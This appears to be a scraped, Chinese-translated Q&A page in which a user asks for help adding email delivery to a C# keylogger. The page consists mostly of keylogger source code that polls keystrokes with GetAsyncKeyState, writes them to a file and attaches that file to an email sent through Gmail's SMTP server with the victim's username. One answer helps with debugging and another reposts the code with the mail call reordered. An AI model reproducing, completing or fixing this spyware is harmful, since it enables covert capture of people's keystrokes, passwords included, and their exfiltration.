【问题标题】:C# Keylogger Mail functionC#键盘记录邮件功能
【发布时间】:2015-05-26 21:21:44
【问题描述】:

我使用控制台应用程序在 C# 中创建了一个键盘记录器。 (我没有完全自己做这个,只是很大一部分)。所以我的键盘记录器中的问题是我正在尝试向其中添加邮件功能但是当我发送垃圾邮件随机键时,它们将被写入特定的文本文件但不会被邮寄,这有点烦人......

我想知道是否有人可以帮助我。

class Program
{
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(int i);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    static string path = (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\lel.txt");

    static void Main(string[] args)
    {
        Keylogger();
    }

    static void mail()
    {
        while (true)
        {
            string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
            MailMessage mail = new MailMessage();
            mail.To.Add("mymail@gmail.com");
            mail.From = new MailAddress("mymail@gmail.com", "gauthier", System.Text.Encoding.UTF8);
            mail.Subject = "Keylog from " + userName;
            mail.SubjectEncoding = System.Text.Encoding.UTF8;
            mail.Body = "Keylogged!";
            mail.BodyEncoding = System.Text.Encoding.UTF8;
            mail.IsBodyHtml = false;
            mail.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient();
            client.Credentials = new System.Net.NetworkCredential("mymail@gmail.com", "password");
            client.Port = 587;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(path);
            mail.Attachments.Add(data);
            client.Send(mail);
        }
    }

    static void Keylogger()
    {
        StreamWriter sw = new StreamWriter(path);

        while (true)
        {
            Thread.Sleep(50);
            for (Int32 i = 0; i < 255; i++)
            {

                int KeySt = GetAsyncKeyState(i);

                if (KeySt == 1 || KeySt == -32767)
                {

                    if (((Keys)i) == Keys.A)
                    {
                        sw.Write("a");
                    }

                    else if (((Keys)i) == Keys.B)
                    {
                        sw.Write("b");
                    }

                    else if (((Keys)i) == Keys.C)
                    {
                        sw.Write("c");
                    }

                    else if (((Keys)i) == Keys.D)
                    {
                        sw.Write("d");
                    }

                    else if (((Keys)i) == Keys.E)
                    {
                        sw.Write("e");
                    }

                    else if (((Keys)i) == Keys.F)
                    {
                        sw.Write("f");
                    }

                    else if (((Keys)i) == Keys.G)
                    {
                        sw.Write("g");
                    }

                    else if (((Keys)i) == Keys.H)
                    {
                        sw.Write("h");
                    }

                    else if (((Keys)i) == Keys.I)
                    {
                        sw.Write("i");
                    }

                    else if (((Keys)i) == Keys.J)
                    {
                        sw.Write("j");
                    }

                    else if (((Keys)i) == Keys.K)
                    {
                        sw.Write("k");
                    }

                    else if (((Keys)i) == Keys.L)
                    {
                        sw.Write("l");
                    }

                    else if (((Keys)i) == Keys.M)
                    {
                        sw.Write("m");
                    }

                    else if (((Keys)i) == Keys.N)
                    {
                        sw.Write("n");
                    }

                    else if (((Keys)i) == Keys.O)
                    {
                        sw.Write("o");
                    }

                    else if (((Keys)i) == Keys.P)
                    {
                        sw.Write("p");
                    }

                    else if (((Keys)i) == Keys.Q)
                    {
                        sw.Write("q");
                    }

                    else if (((Keys)i) == Keys.R)
                    {
                        sw.Write("r");
                    }

                    else if (((Keys)i) == Keys.S)
                    {
                        sw.Write("s");
                    }

                    else if (((Keys)i) == Keys.T)
                    {
                        sw.Write("t");
                    }

                    else if (((Keys)i) == Keys.U)
                    {
                        sw.Write("u");
                    }

                    else if (((Keys)i) == Keys.V)
                    {
                        sw.Write("v");
                    }

                    else if (((Keys)i) == Keys.W)
                    {
                        sw.Write("w");
                    }

                    else if (((Keys)i) == Keys.X)
                    {
                        sw.Write("x");
                    }

                    else if (((Keys)i) == Keys.Y)
                    {
                        sw.Write("y");
                    }

                    else if (((Keys)i) == Keys.Z)
                    {
                        sw.Write("z");
                    }

                    else if (((Keys)i) == Keys.Enter)
                    {
                        sw.Write(Environment.NewLine);
                    }

                    else if (((Keys)i) == Keys.Space)
                    {
                        sw.Write(" ");
                    }

                    else if (((Keys)i) == Keys.NumPad0)
                    {
                        sw.Write("0");
                    }

                    else if (((Keys)i) == Keys.NumPad1)
                    {
                        sw.Write("1");
                    }

                    else if (((Keys)i) == Keys.NumPad2)
                    {
                        sw.Write("2");
                    }

                    else if (((Keys)i) == Keys.NumPad3)
                    {
                        sw.Write("3");
                    }

                    else if (((Keys)i) == Keys.NumPad4)
                    {
                        sw.Write("4");
                    }

                    else if (((Keys)i) == Keys.NumPad5)
                    {
                        sw.Write("5");
                    }

                    else if (((Keys)i) == Keys.NumPad6)
                    {
                        sw.Write("6");
                    }

                    else if (((Keys)i) == Keys.NumPad7)
                    {
                        sw.Write("7");
                    }
                    else if (((Keys)i) == Keys.NumPad8)
                    {
                        sw.Write("8");
                    }
                    else if (((Keys)i) == Keys.NumPad9)
                    {
                        sw.Write("9");
                    }

                    else if (((Keys)i) == Keys.CapsLock)
                    {
                        sw.Write("[CL]");
                    }

                    sw.Flush();
                }
            }

        }
    }

}

【问题讨论】:

  • while(true) 发送电子邮件?不!!!

标签: c# email keylogger


【解决方案1】:

您不会在代码中的任何位置调用 mail() 方法。这是一件好事,因为它最终会陷入无限循环,并且您可能会因为发送太多邮件而被 Gmail 阻止。我会在某处扔一个很长的Thread.Sleep()

【讨论】:

    【解决方案2】:

    我的控制台没有什么特别之处。这是我的源代码:

    class Program
    {
        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(int i);
    
        static string path = (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\\lel.txt");
    
        static void Main(string[] args)
        {
            Keylogger();
            mail();
        }
    
        static void mail()
        {
            Thread.Sleep(60000);
            string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
            MailMessage mail = new MailMessage();
            mail.To.Add("gauthier.cremers1@gmail.com");
            mail.From = new MailAddress("gauthier.cremers1@gmail.com", "gauthier", System.Text.Encoding.UTF8);
            mail.Subject = "Keylog from " + userName;
            mail.SubjectEncoding = System.Text.Encoding.UTF8;
            mail.Body = "Keylogged!";
            mail.BodyEncoding = System.Text.Encoding.UTF8;
            mail.IsBodyHtml = false;
            mail.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient();
            client.Credentials = new System.Net.NetworkCredential("gauthier.cremers1@gmail.com", "password");
            client.Port = 587;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(path);
            mail.Attachments.Add(data);
    
            client.Send(mail);
    
        }
    
        static void Keylogger()
        {
            StreamWriter sw = new StreamWriter(path);
    
            while (true)
            {
                Thread.Sleep(50);
                for (Int32 i = 0; i < 255; i++)
                {
    
                    int KeySt = GetAsyncKeyState(i);
    
                    if (KeySt == 1 || KeySt == -32767)
                    {
    
                        if (((Keys)i) == Keys.A)
                        {
                            sw.Write("a");
                        }
    
                        else if (((Keys)i) == Keys.B)
                        {
                            sw.Write("b");
                        }
    
                        else if (((Keys)i) == Keys.C)
                        {
                            sw.Write("c");
                        }
    
                        else if (((Keys)i) == Keys.D)
                        {
                            sw.Write("d");
                        }
    
                        else if (((Keys)i) == Keys.E)
                        {
                            sw.Write("e");
                        }
    
                        else if (((Keys)i) == Keys.F)
                        {
                            sw.Write("f");
                        }
    
                        else if (((Keys)i) == Keys.G)
                        {
                            sw.Write("g");
                        }
    
                        else if (((Keys)i) == Keys.H)
                        {
                            sw.Write("h");
                        }
    
                        else if (((Keys)i) == Keys.I)
                        {
                            sw.Write("i");
                        }
    
                        else if (((Keys)i) == Keys.J)
                        {
                            sw.Write("j");
                        }
    
                        else if (((Keys)i) == Keys.K)
                        {
                            sw.Write("k");
                        }
    
                        else if (((Keys)i) == Keys.L)
                        {
                            sw.Write("l");
                        }
    
                        else if (((Keys)i) == Keys.M)
                        {
                            sw.Write("m");
                        }
    
                        else if (((Keys)i) == Keys.N)
                        {
                            sw.Write("n");
                        }
    
                        else if (((Keys)i) == Keys.O)
                        {
                            sw.Write("o");
                        }
    
                        else if (((Keys)i) == Keys.P)
                        {
                            sw.Write("p");
                        }
    
                        else if (((Keys)i) == Keys.Q)
                        {
                            sw.Write("q");
                        }
    
                        else if (((Keys)i) == Keys.R)
                        {
                            sw.Write("r");
                        }
    
                        else if (((Keys)i) == Keys.S)
                        {
                            sw.Write("s");
                        }
    
                        else if (((Keys)i) == Keys.T)
                        {
                            sw.Write("t");
                        }
    
                        else if (((Keys)i) == Keys.U)
                        {
                            sw.Write("u");
                        }
    
                        else if (((Keys)i) == Keys.V)
                        {
                            sw.Write("v");
                        }
    
                        else if (((Keys)i) == Keys.W)
                        {
                            sw.Write("w");
                        }
    
                        else if (((Keys)i) == Keys.X)
                        {
                            sw.Write("x");
                        }
    
                        else if (((Keys)i) == Keys.Y)
                        {
                            sw.Write("y");
                        }
    
                        else if (((Keys)i) == Keys.Z)
                        {
                            sw.Write("z");
                        }
    
                        else if (((Keys)i) == Keys.Enter)
                        {
                            sw.Write(Environment.NewLine);
                        }
    
                        else if (((Keys)i) == Keys.Space)
                        {
                            sw.Write(" ");
                        }
    
                        else if (((Keys)i) == Keys.NumPad0)
                        {
                            sw.Write("0");
                        }
    
                        else if (((Keys)i) == Keys.NumPad1)
                        {
                            sw.Write("1");
                        }
    
                        else if (((Keys)i) == Keys.NumPad2)
                        {
                            sw.Write("2");
                        }
    
                        else if (((Keys)i) == Keys.NumPad3)
                        {
                            sw.Write("3");
                        }
    
                        else if (((Keys)i) == Keys.NumPad4)
                        {
                            sw.Write("4");
                        }
    
                        else if (((Keys)i) == Keys.NumPad5)
                        {
                            sw.Write("5");
                        }
    
                        else if (((Keys)i) == Keys.NumPad6)
                        {
                            sw.Write("6");
                        }
    
                        else if (((Keys)i) == Keys.NumPad7)
                        {
                            sw.Write("7");
                        }
                        else if (((Keys)i) == Keys.NumPad8)
                        {
                            sw.Write("8");
                        }
                        else if (((Keys)i) == Keys.NumPad9)
                        {
                            sw.Write("9");
                        }
    
                        else if (((Keys)i) == Keys.CapsLock)
                        {
                            sw.Write("[CL]");
                        }
    
                        sw.Flush();
                    }
                }
    
            }
        }
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2014-09-21
      • 1970-01-01
      • 1970-01-01
      • 2017-06-24
      • 1970-01-01
      • 1970-01-01
      • 2012-04-03
      相关资源
      最近更新 更多